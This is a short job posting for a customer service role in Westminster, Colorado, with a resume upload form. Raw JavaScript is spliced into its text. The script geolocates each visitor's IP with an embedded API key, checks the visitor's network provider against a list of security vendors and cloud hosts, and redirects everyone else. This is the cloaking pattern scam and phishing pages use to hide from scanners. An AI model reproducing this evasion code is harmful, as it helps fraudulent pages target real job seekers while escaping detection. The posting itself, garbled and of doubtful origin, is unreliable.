Customer Service Associate II

Customer Service Associate II

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Customer Service Associate II in Westminster, Colorado, to deliver exceptional support to our clients.

  • Provide prompt and professional assistance via phone, email, and chat, addressing customer inquiries and resolving issues efficiently.
  • Maintain accurate records of customer interactions and transactions in our system.
  • Collaborate with team members and other departments to ensure customer satisfaction and issue resolution.
  • Identify opportunities to improve service processes and enhance the customer experience.
  • Stay informed about product and service updates to provide accurate information.
  • Skills Needed: Excellent communication, problem-solving, and multitasking abilities; strong attention to detail; ability to work in a fast-paced environment.

    Benefits include: Competitive pay, health and dental insurance, retirement plans, paid time off, and opportunities for professional growth.

    Join our team and help us deliver outstanding service to our valued customers!

    Emploment Location
    Colorado, Westminster

    Apply to Join Progression Transport.

    *
    *
    * Attach your resume. Max size 2mb Allowed Types: pdf